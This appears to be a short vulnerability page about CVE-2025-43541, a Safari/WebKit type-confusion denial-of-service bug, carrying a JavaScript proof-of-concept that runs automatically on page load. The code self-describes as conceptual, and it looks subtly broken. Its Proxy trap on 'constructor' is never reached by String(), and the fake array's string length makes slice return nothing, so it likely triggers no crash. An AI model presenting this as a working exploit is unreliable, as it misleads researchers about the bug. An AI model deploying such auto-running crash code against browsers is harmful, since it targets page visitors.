CVE-2025-43541 Apple Safari类型混淆导致拒绝服务漏洞

// CVE-2025-43541 Type Confusion PoC // This PoC demonstrates the type confusion vulnerability in Safari's WebKit // Note: This is a conceptual PoC based on the vulnerability description function triggerTypeConfusion() { // Create objects that may trigger type confusion in state handling const target = {}; // Use Proxy to manipulate object behavior const handler = { get: function(obj, prop) { // Attempt to trigger type confusion through proxy if (prop === 'constructor') { return function() { // Force type confusion through constructor manipulation return { toString: () => { throw new Error('Type confusion'); } }; }; } return obj[prop]; } }; const proxied = new Proxy(target, handler); // Trigger the vulnerability through type coercion try { // Force type confusion through implicit type conversion const result = String(proxied); console.log('Type confusion triggered'); } catch (e) { console.error('PoC executed, potential crash:', e.message); } // Additional trigger method using array-like object confusion const fakeArray = { length: 'malicious_string', 0: { valueOf: () => { throw new Error('Crash'); } } }; // Attempt to trigger crash through array method confusion Array.prototype.slice.call(fakeArray); } // Execute when page loads if (document.readyState === 'complete') { triggerTypeConfusion(); } else { window.addEventListener('load', triggerTypeConfusion); }
